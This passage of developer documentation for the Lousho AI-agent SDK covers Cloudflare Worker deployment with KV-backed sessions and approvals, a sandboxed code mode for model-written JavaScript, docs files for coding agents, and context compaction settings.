add their own routes under `/channels` (see above). Its bindings:

| Binding | Kind | What it does |
| - | - | - |
| `LOUSHO_API_TOKEN` | secret (`npx wrangler secret put LOUSHO_API_TOKEN`) | Makes every route except `/health` require `Authorization: Bearer <token>` (constant-time compare, `401` JSON otherwise). **Set it before you deploy** (`lousho build` reminds you): without it every `/chat` route (a turn, a transcript, an approval decision) answers `403` (`LOUSHO_REQUEST_FORBIDDEN`), since anyone with the URL could otherwise chat on your provider key and read, continue or approve any session by its id. `/health`, the OAuth callback and `channels/` (which verify their own requests) stay open. |
| `LOUSHO_ALLOW_OPEN_SESSIONS` | variable (`[vars]` in `wrangler.toml`, or `.dev.vars` for `wrangler dev`) | `"true"` serves the `/chat` routes on a Worker without `LOUSHO_API_TOKEN`, to anyone. Leave it unset outside a throwaway demo. Its earlier name, `LOUSHO_ALLOW_OPEN_TRANSCRIPTS`, still works. |
| `LOUSHO_ALLOWED_ORIGINS`, `LOUSHO_ALLOWED_HOSTS`, `LOUSHO_REQUIRE_JSON_BODY` | variables | The routes' `allowedOrigins` and `allowedHosts` (comma-separated) and, with `"false"`, `requireJsonBody: false`: for a front end on another origin, or a proxy in front. See [Cross-site requests](/auth#cross-site-requests). |
| `AGENT_CHECKPOINTS` | KV namespace | Holds sessions, checkpoints, paused approvals and `kvMemory()` items, in one namespace, as `KVStore` (below). Without it they live in the memory of one isolate, which Cloudflare recycles at will: fine for trying a deploy out, not for production. |
| `LOUSHO_HTTP_ALLOW` | variable (`[vars]` in `wrangler.toml`) | The host names the `http` tool may reach, comma-separated: `api.github.com`, or `*.example.com` for subdomains only. Unset or empty, every `http` request is refused. See [Providers and tools](#providers-and-tools). |

`wrangler.toml` is scaffolded with the `[[kv_namespaces]]` block for
`AGENT_CHECKPOINTS` commented out, with the commands to create the namespace
(`npx wrangler kv namespace create AGENT_CHECKPOINTS`, plus a `--preview`
variant) and where to paste the resulting ids. Uncomment it and fill in the ids.
When the spec lists `http`, it also has a commented `[vars]` block for
`LOUSHO_HTTP_ALLOW`; uncomment it and list your hosts:

```toml theme={null}
[vars]
LOUSHO_HTTP_ALLOW = "api.github.com,*.example.com"
```

```bash theme={null}
cd .lousho/build/cloudflare-worker
npx wrangler secret put LOUSHO_API_TOKEN
npx wrangler secret put OPENAI_API_KEY
npx wrangler deploy
curl -N https://<your-worker>.workers.dev/chat \
  -H "Authorization: Bearer $LOUSHO_API_TOKEN" -H 'Content-Type: application/json' \
  -d '{ "sessionId": "alice", "input": "Hello" }'
```

## Sessions, checkpoints and approvals

`KVStore(kvBinding, { prefix?, ttl?, historyLimit?, tokenKey? })` is the `AgentStore` the
generated Worker builds from the binding. A hand-written Worker imports it from
the `/kv` subpath, which has no `node:*` import anywhere in its graph, with the
binding typed as `KVBinding` (the `get`/`put`/`delete` part of Cloudflare's
`KVNamespace`, so `@cloudflare/workers-types` is not needed). `createAgent` comes
from the `/worker` subpath - see [Writing your own Worker](#writing-your-own-worker):

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent/worker';
import { KVStore, type KVBinding } from '@lousho/build-ai-agent/kv';

interface Env {
  AGENT_KV: KVBinding;
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const agent = createAgent({ provider, store: new KVStore(env.AGENT_KV) });
    const { sessionId, input } = (await request.json()) as { sessionId: string; input: string };
    const { text } = await agent.session({ id: sessionId }).send(input);
    return Response.json({ text });
  },
};
```

`/kv` also exports `KVCheckpointStore` (checkpoints only) and
`CHECKPOINT_KV_BINDING` (`'AGENT_CHECKPOINTS'`, the binding name the generated
Worker reads). `KVStore`'s keys, with an optional `prefix` before each:

| Key | Value |
| - | - |
| `sessions/<id>` | The transcript as JSON (image and file bytes as `{ "$bytes": "<base64>" }`, like `FileSessionStore`). |
| `checkpoints/<id>` | The `Checkpoint` of a durable run or session turn (`KVCheckpointStore`, with its history under `checkpoints/<id>#history`; bytes encoded the same way). |
| `approvals/<id>` | A paused approval and the snapshot that resumes it (deleted when it is decided; bytes encoded the same way). |
| `approvals/<id>#claim` | The claim of the request deciding that approval (a random token, expires after 60 seconds; see below). |
| `checkpoints/<id>#lease` | The run lease of a durable run or session turn while it executes (an owner id and an expiry; see [Run leases](/durable-execution#run-leases)). |
| `oauth/tokens/<key>`, `oauth/pending/<state>` | OAuth tokens and pending sign-ins, encrypted with `tokenKey` (the `LOUSHO_TOKEN_KEY` secret in the generated Worker); see [OAuth](/oauth#token-storage). |
| `memory/<slot>#<scope>` | The items of a `kvMemory()` memory slot (`notes#global`, `prefs#session:<id>` or a custom scope's key) - written by the provider itself, not `KVStore`. |

`ttl: { sessions?, checkpoints?, approvals? }` (seconds, KV accepts 60 or more)
makes each kind of record expire that long after its last write; by default
records are kept until deleted.

An approval that pauses a turn on one request can be decided by a later request
on another isolate: the checkpointed session names its pending approval, and the
approvals endpoint continues it from KV. The continuation streams as a normal
resumed run: the decided call's `tool.resume` and `tool.done` (`tool.error` for
a rejection), then the turn's events, ending with a `run.done` that carries
the final text.

### Deciding one approval twice

KV has no compare-and-swap, so `KVStore` cannot claim an approval atomically
the way `fileStore` and `SqliteStore` do. To decide one, a request writes a
random token under `approvals/<id>#claim` (unless a claim is already there),
waits 50 ms, reads it back, and only the request whose token is still there
(and that still finds the approval) deletes the approval and runs the call. At
one location, where a concurrent request writes its own token within that
window, a double click, a retried webhook or two reviewers deciding at once run
the approved tool exactly once. Run leases (`checkpoints/<id>#lease`) are taken
the same way.

This does not close the race across locations: two requests served by different
edge locations within KV's propagation delay (up to about 60 seconds) can both
read their own token and both run the call. For a tool with a side effect that
must happen once (a payment, an email), pass `ctx.approval.id` on as an
idempotency key. It is the same for every attempt to run one decided call. It
does not identify the business event: after a crash the model may retry with a
new call, which gets a new approval id, so a tool that must act once per
invoice also needs a key from its own arguments (the invoice number here):

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

// `payments` stands in for your payment client.
declare const payments: {
  create(payment: { invoice: string; cents: number }, options: { idempotencyKey: string }): Promise<unknown>;
};

const payout = defineTool({
  name: 'payout',
  description: 'Pay a vendor invoice',
  input: z.object({ invoice: z.string(), cents: z.number() }),
  needsApproval: true,
  execute: async ({ invoice, cents }, ctx) =>
    payments.create({ invoice, cents }, { idempotencyKey: `payout:${invoice}` }),
});
```

When it has to be exact, keep the approvals in a store with an atomic claim: a
Durable Object, or D1 through an `ApprovalStore` of your own whose `resolve()`
deletes and returns the record in one statement. The generated Worker binds
no Durable Object, so it uses `KVStore`.

The deprecated `POST /chat { "message", "sessionId"? }` keeps its earlier
behaviour on Workers: with a `sessionId` the run is checkpointed to
`checkpoints/<sessionId>` after each tool result and rehydrated by a later
request that reuses the `sessionId` (after a crash or a recycled isolate).

## Scheduled runs

Cron triggers in the spec (`triggers: [{ type: 'cron', cron: '0 9 * * MON', input: '...' }]`)
become `[triggers] crons = [...]` in `wrangler.toml`, and the generated Worker
exports a `scheduled()` handler that runs them as agent turns (session
`schedule-<name>-<fire time>`, see [Schedules](/schedules#on-cloudflare-workers)). An agent
directory's `schedules/` files work the same way: the build evaluates them for
the expressions and generates the `scheduled()` export. Cloudflare
evaluates the expressions in **UTC** with a granularity of one minute; the
build rejects a `timezone`, a seconds field, an `@daily` shortcut or a numeric
day-of-week (`LOUSHO_SCHEDULE_INVALID`).

In a Worker you write yourself, wire an agent defined in code with
`handleScheduled(agent, schedules, controller, ctx)` (exported from
`@lousho/build-ai-agent/worker` — the `@lousho/build-ai-agent/deploy-runtime-worker`
specifier in the generated code is a virtual one that only `lousho build`'s
bundler resolves; do not import it yourself). It runs the schedules whose
`cron` equals `controller.cron` inside `ctx.waitUntil()` and never throws; list
the same expressions under `[triggers] crons` yourself. Give the agent a store
— without one, a scheduled run's session lives in one
isolate's memory and is gone when it is recycled:

```ts theme={null}
import { createAgent, createMockProvider, defineSchedule, handleScheduled } from '@lousho/build-ai-agent/worker';
import type { ScheduledContext, ScheduledController } from '@lousho/build-ai-agent/worker';
import { KVStore, type KVBinding } from '@lousho/build-ai-agent/kv';

interface Env {
  AGENT_CHECKPOINTS: KVBinding;
}

const schedules = [defineSchedule({ name: 'weekly', cron: '0 9 * * MON', prompt: 'Summarise last week.' })];

export default {
  scheduled: (controller: ScheduledController, env: Env, ctx: ScheduledContext) => {
    const agent = createAgent({
      instructions: 'You write reports.',
      provider: createMockProvider(),
      store: new KVStore(env.AGENT_CHECKPOINTS), // keeps sessions, checkpoints and paused approvals
    });
    return handleScheduled(agent, schedules, controller, ctx);
  },
};
```

## Writing your own Worker

Import from `@lousho/build-ai-agent/worker`, not the package root. The root entry
also exports file stores, the agent-directory loader, MCP over stdio, sandboxes
and other Node-only modules, so bundling it for `platform: 'browser'` fails with
`Could not resolve "async_hooks"` and friends. `/worker` is `createAgent` plus the
Worker-safe surface, built with the same shims `lousho build` applies, so it
carries no `node:` import your own bundler could trip on:

```ts theme={null}
import {
  createAgent, createMockProvider, defineSchedule, defineTool, handleScheduled,
  memoryStore, serveFetch, OpenAIProvider, AnthropicProvider, OpenRouterProvider,
  LLMProviderRegistry, SDKError, /* ... */
} from '@lousho/build-ai-agent/worker';
import { KVStore } from '@lousho/build-ai-agent/kv'; // also re-exported from /worker
```

The exports: `createAgent` (and its config types), `memoryStore`, the KV stores
(`KVStore`, `KVCheckpointStore`, `CHECKPOINT_KV_BINDING`), the schedule helpers
(`defineSchedule`, `handleScheduled` and their types), `serveFetch` (the
[`/chat` HTTP API](/deployment#http-api) as a fetch handler, for a Worker
that wants the same routes the generated one serves), the providers a Worker can
run (`mock`, `openai`, `anthropic`, `openrouter`) and everything agent-directory
code may import (`defineTool`, `isDefinedTool`, `always`, `never`, `once`,
`defineSkill`, `defineChannel`, the channel factories, `defineMemory`,
`inMemoryMemory`, `kvMemory`, `fromAiSdk`, `textOf`, the error classes).

Two things to know:

* `ai`, `zod`, `@opentelemetry/api` and the provider packages
  (`@ai-sdk/openai`, `@ai-sdk/anthropic`) are *not* bundled into `/worker` -
  they resolve from your install so they share your `ai` copy. Install the peer
  your provider needs (none for `mock`); if your bundler still tries to resolve
  one you did not install, mark it `external` - the lazy `import()` never runs
  for a provider you never construct.
* Features a Worker cannot run - project instructions, the file session store,
  guardrail patches, sandboxed tools, code mode and the `ollama` provider - load
  as shims that fail when called, exactly as in the generated Worker. So do
  `mcpServers` (stdio and streamable HTTP): the published entry cannot keep an
  external specifier to the optional `@modelcontextprotocol/sdk` peer, so the
  connection fails on first use - use `lousho build` (generated Worker) or a
  Node target for MCP. Everything else, including a `createAgent({ provider,
  store })` turn, runs unmodified; no `nodejs_compat` flag is needed.

## Consistency

A Worker's request lifetime is too short-lived for an in-memory or
filesystem-backed `CheckpointStore` (see
[Configuration](/configuration) / `src/execution/checkpoint.ts` for
what `CheckpointStore` is and why a run needs one to survive a crash or an
approval-gate pause). `AGENT_CHECKPOINTS` is that store, backed by KV
(`KVCheckpointStore`), and the one binding above is all it takes to opt in.

**Why KV, not D1 or Durable Objects:** a `Checkpoint` is one JSON blob keyed
by `sessionId`, read and written whole - exactly the shape Workers KV is
built for, with zero extra infrastructure beyond a namespace binding. D1
would buy relational query power this store never needs; a Durable Object
would buy strict per-session consistency at the cost of provisioning a DO
class/migration and paying for a stateful object per session. If your
workload genuinely needs strict read-after-write consistency across edge
locations (see the caveat below), a Durable-Object-backed `CheckpointStore`
is the natural upgrade path - implementing the same `CheckpointStore`
interface (`save`/`load`/`delete`) against a Durable Object namespace
instead of a KV namespace.

**Eventual consistency - read this before relying on it for approval
workflows:** Workers KV is an *eventually consistent* store. A `put()` is
immediately visible to the edge location that wrote it, but can take up to
\~60 seconds to propagate to other Cloudflare edge locations globally. In
practice this means: if a session's checkpoint is written on one edge
location and a follow-up request for the *same* `sessionId` lands on a
*different* edge location shortly after, that request could still observe
stale data (an older checkpoint, or a miss) rather than what was just
written. This matters most for approval-gated pauses, where the pause and
the human's later approval-triggered resume are naturally two separate
requests that may hit different locations. This SDK does not - and, given
KV's guarantees, cannot - promise strict read-after-write consistency here.
If your approval workflow can't tolerate that window, route a given
session's requests to a single Cloudflare location yourself (e.g. via
Durable Object-based request routing) or use a strongly-consistent store
instead of `AGENT_CHECKPOINTS`/KV. The same holds for sessions: two requests of
one session at the same moment can overwrite each other's turn, since a KV
read-modify-write is not atomic.

## Bundle size and Node builtins

The KV-backed stores (`KVStore`, `KVCheckpointStore` and `CHECKPOINT_KV_BINDING`,
exported from `@lousho/build-ai-agent/kv`) have no `node:*` references anywhere
in their dependency graph, and neither does the `@lousho/build-ai-agent/worker`
entry a hand-written Worker bundles (its build is checked the same way; see
[Writing your own Worker](#writing-your-own-worker)). The Worker runs the spec as a `createAgent()` agent, whose
Node-only imports (project instructions, the file session store, guardrail
patches, MCP over stdio) the build points at a shim that fails when used
(`src/deploy/shims/node.worker.ts`). The built `dist/worker.js` bundle is then
checked for `node:` and bare Node builtin specifiers as part of `lousho build`,
and fails the build if any are found; when one was imported (by an agent directory's tool, say), the error names the importing file. One exception: `ai` v7 and
`@ai-sdk/provider-utils` v5 look up `node:module`, `node:dns`,
`node:diagnostics_channel` and `node:async_hooks` at run time with
`process.getBuiltinModule()`, only when they detect Node, and fall back to
`fetch()` (or skip telemetry tracing) elsewhere. Those four ids are accepted as
the argument of such a call and nowhere else. The bundle is larger than a single-turn
Worker (about 1.7 MB raw, 340 KB gzip for a `mock` agent on `ai` v4; about 3.4 MB
raw, 630 KB gzip on `ai` v7): `lousho build` reports
its size, and `describe()` compares it to Cloudflare's script size limit.


# Code mode
Source: https://lousho.com/code-mode



With code mode the model gets one more tool, `run_code`. Instead of calling
tools one at a time, with a model round trip after each, it writes a short
JavaScript program that calls the agent's tools as async functions, loops,
filters and combines their results, and returns one value. Many tool calls then
cost one model round trip, and large intermediate results never enter the
context: only the program's return value does.

The program runs in a QuickJS WebAssembly isolate inside your process, not in
Docker. Every tool call it makes goes through the same checks as a call the
model makes directly: argument validation, hooks, permission rules and modes,
guardrails and `needsApproval`.

## When to use it

* The answer needs several calls whose inputs depend on earlier results (look
  up three prices, then convert the sum).
* A tool returns much more than the model needs (a long list to filter, a
  report to count).
* The same call runs over a list of items.

For a single call, or when each step needs the model's judgement, direct tool
calls are simpler and the model is better at them.

## Turn it on

Install the optional peer `quickjs-emscripten` and set `codeMode` on
`createAgent()`. The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```bash theme={null}
npm install quickjs-emscripten@^0.32.0
```

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const prices: Record<string, number> = { apple: 1.2, pear: 0.8, plum: 2 };

const getPrice = defineTool({
  name: 'get_price',
  description: 'The price of one fruit in USD',
  input: z.object({ item: z.string() }),
  execute: async ({ item }) => ({ item, usd: prices[item] ?? null }),
});

const convert = defineTool({
  name: 'convert',
  description: 'Converts an amount in USD to another currency',
  input: z.object({ amount: z.number(), to: z.enum(['EUR', 'GBP']) }),
  execute: async ({ amount, to }) => ({ amount: amount * (to === 'EUR' ? 0.9 : 0.8), currency: to }),
});

const agent = createAgent({
  model: 'openai/gpt-4o-mini',
  tools: [getPrice, convert],
  codeMode: { exclusive: true },
});

const { text } = await agent.send('What do an apple, a pear and a plum cost together in EUR?');
```

A script the model might write for that question:

```js theme={null}
let usd = 0;
for (const item of ['apple', 'pear', 'plum']) {
  usd += (await tools.get_price({ item })).usd;
}
const eur = await tools.convert({ amount: usd, to: 'EUR' });
return { usd, eur: eur.amount };
```

`run_code` returns `{ result, logs, toolCalls }`: the script's return value,
the lines it logged with `console.log()` (and `console.error()` / `warn()`,
prefixed with their level) and how many tool calls it made.

Without `quickjs-emscripten` installed, the first run of an agent with
`codeMode` fails with a `MissingPeerDependencyError` that names the package and
the install command.

## Options

`codeMode: true` uses the defaults. An object sets any of these:

| Option | Default | Meaning |
| - | - | - |
| `tools` | see below | Names of the tools a script may call. Names the run has no tool for are skipped. `run_code` itself is refused. |
| `exclusive` | `false` | `true` takes those tools off the model's tool list, so it must call them through `run_code`. Scripts still call them. |
| `timeoutMs` | `30000` | Time for the whole script, including the tool calls it waits for. |
| `memoryLimitBytes` | `67108864` (64 MiB) | Memory of the isolate. |
| `maxToolCalls` | `50` | Tool calls per script. |
| `maxOutputChars` | `20000` | Characters of the return value (as JSON) plus the logs. |

Without `tools`, a script may call every tool of the run except `run_code`,
`ask_question`, sub-agent tools (`task`, `agent_status`, `agent_await`,
`agent_cancel`, `delegate_to_*`), `tool_search`, `load_skill` and tools that
[tool search](/tool-search) defers. Name a tool in `tools` to allow it
anyway: a deferred tool named there is callable from scripts and its signature
is in `run_code`'s description (so it is no longer kept out of the context for
code mode), while it stays off the model's own tool list until `tool_search`
loads it.

The model learns what it can call from `run_code`'s description: one
TypeScript-like signature per allowed tool, built from its input schema, with
its description as a comment:

```text theme={null}
// The price of one fruit in USD
tools.get_price(args: { item: string }): Promise<unknown>
```

Results have no declared type, so when a script fails, the error lists the
script's first five tool calls with their arguments and results (each cut at
200 characters). The model can read the shapes there and fix the script.

## What a script can and cannot do

The code is the body of an `async` function. It can use the JavaScript
language and its built-ins (`JSON`, `Math`, `Date`, `Promise`, arrays, maps,
regular expressions), call tools, log, and return a value.

* `await tools.<name>(args)` resolves with the tool's result, or throws an
  `Error` (`name: 'ToolError'`) whose message is the tool's error message.
  `tools` holds only the allowed tools and cannot be changed.
* Arguments and results cross the boundary as JSON copies: a `Date` arrives as
  a string, functions and `undefined` fields are dropped, and changing a result
  inside the script changes nothing outside it.
* `Promise.all` runs calls at the same time, at most `toolConcurrency` of them
  (the agent's setting) per script.
* The return value must be JSON-serializable; `undefined` becomes `null`.

There is no `require`, `import`, `process`, `fetch`, file system, network,
`setTimeout` or other timer, and no host object. A script can only reach the
outside world through the tools it is given.

## The security model

* **Isolation.** Each script gets a fresh QuickJS runtime and context in
  WebAssembly, with nothing of the host in it but two functions (one tool
  call, one log line) that the SDK's own setup code takes off the global object
  before the script runs. `node:vm` is not used: it is not a security boundary.
* **Limits.** The memory limit and a 512 KiB stack limit are enforced by the
  isolate. The deadline is checked by an interrupt handler while the script
  computes, so a loop that never ends is stopped at `timeoutMs` (a `try` /
  `catch` cannot catch that stop), and by a timer while it waits for a tool.
  Too many tool calls stop the script too, even if it catches the error.
* **The gate per call.** Each `tools.x(args)` is an inner tool call of the run:
  validated against the tool's schema, then pre-tool hooks, permission rules,
  the [permission mode](/permission-modes), [tool guardrails](/guardrails)
  and `needsApproval`, then the tool runs (through the run's sandbox when it is
  `requiresSandbox`) with the run's principal, then post-tool hooks. A denied call throws in the script with the denial's reason.
  A guardrail that blocks an inner call stops the whole run, as it does for a
  direct call.
* **Plan mode.** `run_code` is marked read-only: it changes nothing by itself.
  In plan mode each inner call is checked on its own, so a script can call
  read-only tools and a call to any other tool throws `denied by plan mode`.
* **Errors.** A tool's error reaches the script as its message only, never a
  host stack trace. Tokens a tool got from `ctx.getToken()` are redacted from
  its result, as for a direct call.

A script that computes without waiting runs on your process's thread: it
blocks the event loop until it ends or `timeoutMs` stops it. On a server that
handles other requests, keep `timeoutMs` low.

## Approvals, sign-ins and other pauses

A script cannot pause. A QuickJS isolate cannot be saved and resumed later, so
an inner call that would pause the run throws in the script instead, and the
run does not pause:

| The inner call | What the script gets |
| - | - |
| needs approval (`needsApproval`, an `ask` rule) | `Tool x needs approval; call it directly, not from run_code.` |
| needs a sign-in (`ctx.getToken()` without a token) | `Tool x needs the user to sign in to <provider>; call it directly, not from run_code.` |
| starts a sub-agent that needs approval | `Tool x started a sub-agent that needs approval; call it directly, not from run_code.` |

The model can then call that tool directly, which pauses the run as usual.
`run_code` itself can need approval (for example with `permissions: [ask('*')]`):
the run pauses before the script runs, and the script runs, with every inner
call checked, after the decision.

## Events and traces

Inner calls emit the usual `tool.start`, `tool.partial`, `tool.done` and
`tool.error` [events](/stream-events), with `parentToolCallId` set to the
`run_code` call's id. Their ids are `<run_code call id>:<n>`, numbered in the
order the script made the calls. Each inner call's `tool.done` or `tool.error`
comes before `run_code`'s own: when a script ends (or is stopped) while calls
it started are still running, their `abortSignal` is aborted and `run_code`
waits for them to settle. Inner calls also produce `permission.decision`
events, and hooks see them, under their own ids.

Inner results go to the events and to the script only. The transcript, the
session and the model get `run_code`'s result alone.

With tracing, each inner call has its own `execute_tool` span, a child of the
`run_code` span, with the attribute `lousho.tool.parent_call_id`.

## Limits and durability

* **No partial progress.** A script's state lives only in the isolate. After a
  crash, a resumed run calls `run_code` again and the whole script runs again,
  including the tool calls it had made. Make tools a script calls idempotent
  (each inner call's `ctx.toolCallId` is the same on a re-run: use it as an
  idempotency key), or call tools with side effects directly.
* **JavaScript only.** The model writes JavaScript; TypeScript is not
  transpiled.
* **Where it runs.** The runs of a `createAgent()` agent: `send()`, `stream()`,
  sessions, resumes and approvals, on Node. The `cloudflare-worker` target of
  `lousho build` does not bundle QuickJS: a run with `codeMode` fails there at
  its start. An agent started as a sub-agent (the `task`
  tool or a delegate tool) runs without code mode, and the lead's `codeMode`
  does not reach a sub-agent's tools.
* **Errors are results.** A script error, a timeout, the memory limit, too many
  tool calls or a return value over `maxOutputChars` is a tool error of
  `run_code` that names the cause; the model gets it and the run goes on.


# Lousho with coding agents
Source: https://lousho.com/coding-agents

Give Claude Code, Cursor or another coding agent the SDK's docs in a form it can read, so it writes code against the real API.

A coding agent writes better Lousho code when it reads the current docs instead of guessing from training data. The SDK publishes its documentation in two machine-readable files, and this site serves every page as Markdown.

## The docs, as files

| File | Where | What it is |
| - | - | - |
| `llms.txt` | In the npm package: `node_modules/@lousho/build-ai-agent/llms.txt` | An [llmstxt.org](https://llmstxt.org) index: one line per docs page, with a summary and a link |
| `llms-full.txt` | In the [SDK repository](https://github.com/LinuxDevil/agent-sdk/blob/main/llms-full.txt), not in the npm package (it is about 1 MB) | The README and every docs page in one file, with absolute links |

Both are generated from the same docs as this site and checked in the SDK's CI. The `llms.txt` in `node_modules` matches the version you have installed; the repository's `llms-full.txt` follows the SDK's `main` branch, which can be ahead of the release you installed. Tell your coding agent where they are, for example in your project's `AGENTS.md` or `CLAUDE.md`:

```markdown theme={null}
## Lousho SDK

This project uses @lousho/build-ai-agent. Before writing or changing agent code,
read node_modules/@lousho/build-ai-agent/llms.txt and open the pages it links to.
Tests must run offline: use mockModel from @lousho/build-ai-agent/testing.
```

## The docs, from this site

Every page here has a **Copy page** button at the top, which copies the page as Markdown for pasting into a chat. The same menu opens the page in ChatGPT or Claude.

## Let the coding agent check its work

Two parts of the SDK make an agent's work easy to verify without an API key:

* [Testing](/testing): `mockModel` scripts the model's replies, so a test can assert on tool calls and final text and run offline in CI.
* [Evals](/evals): `defineEval()` asserts on the trajectory (which tools, in what order, with which arguments) and `lousho eval` reports the result as JUnit.

`npx lousho doctor` checks the Node version, peer dependencies and API keys, and prints a fix for anything missing. It is a useful first command for a coding agent to run in a new checkout.

## Your Lousho agent as a coding agent

The other direction is covered too. An agent you build with the SDK can itself work on code:

* [Build a coding agent](/build-a-coding-agent): a step-by-step walkthrough of a terminal coding agent with file and shell tools, approvals and follow-up questions.
* [Registry kits](/registry): `lousho add coding-kit` (or `coding-pi`, the same harness on the Pi provider with a Pi coding sub-agent) installs a production-shaped coding agent - checkpoints, permission rules, a loop guard and a cost cap - as one directory.
* [Pi coding sub-agents](/sub-agents#pi-coding-agent-sub-agents-piagent): `piAgent()` delegates well-scoped implementation to a Pi coding agent with its own permission rules and durable approval pause/resume.
* [Workspace tools](/workspace-tools): file system and shell tools confined to a root directory, with the shell behind approval.
* [Editors (ACP)](/acp): `lousho acp ./my-agent` serves your agent to Zed and other Agent Client Protocol editors.
* [Project instructions](/configuration#project-instructions): `projectInstructions` appends your repository's `AGENTS.md` to the agent's instructions.


# Context compaction
Source: https://lousho.com/compaction



A long agent run fills its context window mostly with tool results: file
contents, search hits, API responses the model read once and no longer needs
in full. Compaction keeps such a run under the model's limit in two phases:
first it replaces old tool results with a short marker, and if that is not
enough it replaces the oldest turns with a summary written by a (cheaper)
model.

## Compacting an agent

With `createAgent()`, turn compaction on with the `compaction` option. `true`
installs the hook with its defaults (prune old tool results above 90% of the
model's window); an object configures it, and `summarizer` selects
`twoPhaseStrategy()` with that model (a `"provider/model"` string or an
`LLMProvider`). The `vendor/` model prefix chooses the provider; with
OpenRouter use `openrouter/<vendor>/<model>` (e.g.
`openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent } from '@lousho/build-ai-agent';

const simple = createAgent({ model: 'openai/gpt-4o', compaction: true });

const agent = createAgent({
  model: 'openai/gpt-4o',
  compaction: {
    thresholdPercent: 0.8, // compact above 80% of the context window (default 0.9)
    protectedTokens: 20_000, // never change the newest 20K tokens (default 40_000)
    summarizer: 'openai/gpt-4o-mini', // prune, then summarize if still too big
  },
});

for await (const event of agent.stream('Audit the repository.')) {
  if (event.type === 'compaction.done') console.log(`${event.tokensBefore} -> ${event.tokensAfter} tokens`);
}
```

The object takes `strategy`, `thresholdPercent`, `contextWindow`,
`protectedTokens`, `reserveOutputTokens` and `onCompaction` (as in the table below) and `summarizer`; combining
`summarizer` with `strategy` is a configuration error (pass
`twoPhaseStrategy({ model })` as the `strategy` instead). `createAgent({ hooks })`
takes any other `AgentHook`s, which run before the compaction hook, so
compaction sees what they added. Hooks and compaction apply to `send()`,
`stream()` and sessions.

### Stream events

`agent.stream()`, `session.stream()` and `AgentExecutor.stream()` report each
compaction as two events, inside the step and before the model call that
triggered it (see [Streaming](/stream-events#event-schema-version-1)):

| `type` | Fields |
| - | - |
| `compaction.start` | `strategy`, `tokensBefore`, `contextWindow`, `thresholdTokens`, `trigger?: 'manual'` |
| `compaction.done` | `strategy`, `appliedStrategy?`, `tokensBefore`, `tokensAfter`, `prunedToolCallIds`, `summary?: boolean`, `error?: { message }`, `unchanged?: true`, `trigger?: 'manual'` |

Every `compaction.start` is followed by exactly one `compaction.done`. When the
strategy could not shrink anything, `tokensAfter` equals `tokensBefore` and
`unchanged` is `true`. The hook then compacts that transcript quietly: later
steps that still change nothing emit no events, and the next attempt that does
change something emits its `compaction.start` / `compaction.done` pair as usual,
so a run stuck over the threshold does not report a pair on every step. When it
failed (or the summarizer failed and the hook fell back to pruning), `error` is
set and the run continues. A summary that does not get the conversation under
the threshold - or that makes it larger - is rejected the same way: `error` is
set, the run keeps the pruned result instead, and `appliedStrategy` is
`'prune-tool-results'`. The hook then only prunes that transcript until it has
twice as many messages as at the rejection, and then lets the summarizer try
again, so a summarizer that cannot help costs a few calls per run, not one per
step, and one that was rejected for having too little to fold gets another
chance. `strategy` is the strategy that ran, the same on `compaction.start` and
`compaction.done` (`'prune-tool-results'` while summaries are paused).
`summary` is `true` when old turns were replaced by a summary (the text itself
is not sent; use `onCompaction`, which the object form also takes). A
`send()` without a listener emits no events. Hooks add their own events with
`ctx.emit?.(...)` on the `preGenerate` context, which exists when the run has
listeners (`createAgent({ onEvent })`, `onAgentEvent`) or is streamed.

## Compacting a run

`createCompactionHook()` returns an `AgentHook` named `compaction`. Pass it in
`createAgent({ hooks })`. The recommended setup is the two-phase strategy with
a cheap summarizer model:

```ts theme={null}
import { createAgent, createCompactionHook, twoPhaseStrategy } from '@lousho/build-ai-agent';

const agent = createAgent({
  provider,
  hooks: [
    createCompactionHook({
      strategy: twoPhaseStrategy({ model: 'openai/gpt-4o-mini' }), // prune, then summarize if still too big
      thresholdPercent: 0.9, // compact above 90% of the context window (the default)
      protectedTokens: 40_000, // never change the newest 40K tokens (the default)
      onCompaction: ({ tokensBefore, tokensAfter, prunedToolCallIds, summary, error }) => {
        console.log(`compacted ${tokensBefore} -> ${tokensAfter} tokens (${prunedToolCallIds.length} results pruned)`);
        if (summary) console.log('summary:', summary);
        if (error) console.warn('summarizer failed, kept the pruned conversation:', error.message);
      },
    }),
  ],
});
```

Before every model call the hook estimates the request's size with
`estimateTokens` (see [Models, tokens and cost](/models-and-cost#models-and-the-price-table)):
the messages (the system prompt included), the tool definitions and the output
schema. After a call whose provider reported its prompt tokens, the hook also
adds what that report exceeded the estimate by to the next estimate of the same
run, so a provider's hidden framing is counted too. Tool definitions cannot be
compacted, so the conversation has to fit in what they leave of the threshold.
The `compaction.start` / `compaction.done` token counts are these request
sizes. When it is above `thresholdPercent` of the context window, the hook runs its
strategy (and waits for it, if it is async) and calls `onCompaction` with the
token counts, the pruned `toolCallId`s, the summary if there is one and the
strategy name.

| Option | Default | Meaning |
| - | - | - |
| `thresholdPercent` | `0.9` | Compact when the estimated request is above this share of the context window. Must be in (0, 1]. |
| `contextWindow` | registry, else `128_000` | Context window in tokens. By default it is looked up for `request.model` with `getModelInfo()`; register your own models with `registerModel()`. The `128_000` fallback logs a one-time `console.warn` (see [Local and unknown models](#local-and-unknown-models)). |
| `reserveOutputTokens` | none | Tokens kept free for the reply: the threshold becomes at most `contextWindow - reserveOutputTokens`. It never raises the `thresholdPercent` threshold. |
| `protectedTokens` | `40_000`, at most half the threshold | The newest messages that fit in this many tokens are never changed. The default is capped at half the threshold (about 3,700 tokens on an 8K window), so a small window still compacts. A value you set at or above the threshold would protect everything; it is capped the same way, with a one-time `console.warn`. |
| `strategy` | `pruneToolResultsStrategy()` | How to compact (see below). `twoPhaseStrategy()` is recommended; it needs a summarizer model, so it is not the default. |
| `onCompaction` | none | Called after each compaction that changed the conversation or reported an `error`, with the token counts, the pruned `toolCallId`s, `strategy`, `appliedStrategy`, the summary text and the `error`. |

Compaction never fails a run. If the strategy throws, or the summarizer call
fails, the run continues (with the pruned conversation, or unchanged) and
`onCompaction` receives the `error`.

Inside a run, the summarizer's model call is part of the run: its tokens are in
